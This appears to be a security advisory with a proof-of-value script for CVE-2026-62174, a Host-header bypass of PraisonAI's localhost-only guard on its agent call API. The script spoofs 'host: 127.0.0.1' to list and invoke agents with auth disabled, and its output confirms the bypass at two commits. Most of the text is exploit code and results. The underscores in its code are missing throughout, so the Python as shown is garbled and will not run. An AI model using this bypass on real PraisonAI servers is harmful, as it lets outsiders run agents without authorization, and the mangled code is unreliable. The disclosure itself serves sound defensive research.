CVE-2026-62174

 LOCALHOST HOSTS = frozenset({'127.0.0.1', 'localhost', '::1'})

def bind host from request(request: Request) -> str:
  host = getattr(getattr(request, 'url', None), 'hostname', None)
  return host or os.getenv('PRAISONAI CALL BIND HOST', '127.0.0.1')

async def verify token(request: Request, authorization: Optional[str] = Header(None)) -> None:
  if call auth disabled():
    bind host = bind host from request(request)
    if bind host not in LOCALHOST HOSTS:
      raise HTTPException(
        status code=503,
        detail="PRAISONAI CALL AUTH=disabled is only permitted for localhost binding",
      )
    return

disabled client = TestClient(app, base url="http://external.example")

external host = disabled client.get(
  "/api/v1/agents",
  headers={"host": "external.example"},
)
spoofed localhost list = disabled client.get(
  "/api/v1/agents",
  headers={"host": "127.0.0.1"},
)
spoofed localhost invoke = disabled client.post(
  "/api/v1/agents/pov-agent/invoke",
  headers={"host": "127.0.0.1"},
  json={"message": "host-header-bypass"},
)

git checkout v4.6.62
uv run --with fastapi --with httpx python pov call auth host spoof.py .

{
 "disabled auth external host status": 503,
 "disabled auth spoofed localhost invoke status": 200,
 "disabled auth spoofed localhost list status": 200,
 "fail closed without token status": 503,
 "repo head": "2a855c470077c7d2e2479a575f7ef7f548d51c33",
 "spoofed localhost invoke body": {
  "metadata": {
   "agent id": "pov-agent",
   "message length": 18,
   "response length": 33
  },
  "result": "stub-agent-ran:host-header-bypass",
  "session id": "default",
  "status": "success"
 },
 "stub agent calls": [
  "host-header-bypass"
 ],
 "vulnerable": true
}

git checkout 846568c7a5d8ce9e71e56e4c213f027c04909753
uv run --with fastapi --with httpx python pov call auth host spoof.py .

{
 "disabled auth external host status": 503,
 "disabled auth spoofed localhost invoke status": 200,
 "disabled auth spoofed localhost list status": 200,
 "fail closed without token status": 503,
 "repo head": "846568c7a5d8ce9e71e56e4c213f027c04909753",
 "spoofed localhost invoke body": {
  "metadata": {
   "agent id": "pov-agent",
   "message length": 18,
   "response length": 33
  },
  "result": "stub-agent-ran:host-header-bypass",
  "session id": "default",
  "status": "success"
 },
 "stub agent calls": [
  "host-header-bypass"
 ],
 "vulnerable": true
}

#!/usr/bin/env python3
"""PoV for PraisonAI call API Host-header localhost guard bypass."""

from  future  import annotations

import importlib
import json
import os
import sys
from pathlib import Path
from typing import Any


def repo root() -> Path:
  if len(sys.argv) == 2:
    return Path(sys.argv[1]).resolve()
  return Path.cwd().resolve()


def load agent invoke(repo root: Path, auth disabled: bool):
  os.environ.pop("CALL SERVER TOKEN", None)
  if auth disabled:
    os.environ["PRAISONAI CALL AUTH"] = "disabled"
  else:
    os.environ.pop("PRAISONAI CALL AUTH", None)

  package root = repo root / "src" / "praisonai"
  if not package root.exists():
    raise SystemExit(f"missing PraisonAI package root: {package root}")
  package root s = str(package root)
  if package root s not in sys.path:
    sys.path.insert(0, package root s)

  import praisonai.api.agent invoke as agent invoke

  agent invoke = importlib.reload(agent invoke)
  agent invoke. agent registry.clear()
  return agent invoke


class StubAgent:
  def  init (self) -> None:
    self.calls: list[str] = []

  def start(self, message: str) -> str:
    self.calls.append(message)
    return f"stub-agent-ran:{message}"


def make client(agent invoke: Any):
  from fastapi import FastAPI
  from fastapi.testclient import TestClient

  app = FastAPI()
  app.include router(agent invoke.router)
  return TestClient(app, base url="http://external.example")


def main() -> int:
  repo root = repo root()

  fail closed mod = load agent invoke(repo root, auth disabled=False)
  fail closed client = make client(fail closed mod)
  fail closed = fail closed client.get(
    "/api/v1/agents",
    headers={"host": "127.0.0.1"},
  )

  disabled mod = load agent invoke(repo root, auth disabled=True)
  agent = StubAgent()
  disabled mod.register agent("pov-agent", agent)
  disabled client = make client(disabled mod)

  external host = disabled client.get(
    "/api/v1/agents",
    headers={"host": "external.example"},
  )
  spoofed localhost list = disabled client.get(
    "/api/v1/agents",
    headers={"host": "127.0.0.1"},
  )
  spoofed localhost invoke = disabled client.post(
    "/api/v1/agents/pov-agent/invoke",
    headers={"host": "127.0.0.1"},
    json={"message": "host-header-bypass"},
  )

  result = {
    "repo head": git(repo root, "rev-parse", "HEAD"),
    "fail closed without token status": fail closed.status code,
    "disabled auth external host status": external host.status code,
    "disabled auth spoofed localhost list status": spoofed localhost list.status code,
    "disabled auth spoofed localhost invoke status": spoofed localhost invoke.status code,
    "spoofed localhost invoke body": safe json(spoofed localhost invoke),
    "stub agent calls": agent.calls,
  }

  expected = (
    fail closed.status code == 503
    and external host.status code == 503
    and spoofed localhost list.status code == 200
    and spoofed localhost invoke.status code == 200
    and agent.calls == ["host-header-bypass"]
  )
  result["vulnerable"] = expected
  print(json.dumps(result, indent=2, sort keys=True))
  return 0 if expected else 1


def safe json(response: Any) -> Any:
  try:
    return response.json()
  except Exception:
    return response.text


def git(repo root: Path, *args: str) -> str:
  import subprocess

  return subprocess.check output(
    ["git", "-C", str(repo root), *args],
    text=True,
    stderr=subprocess.DEVNULL,
  ).strip()


if  name  == " main ":
  raise SystemExit(main())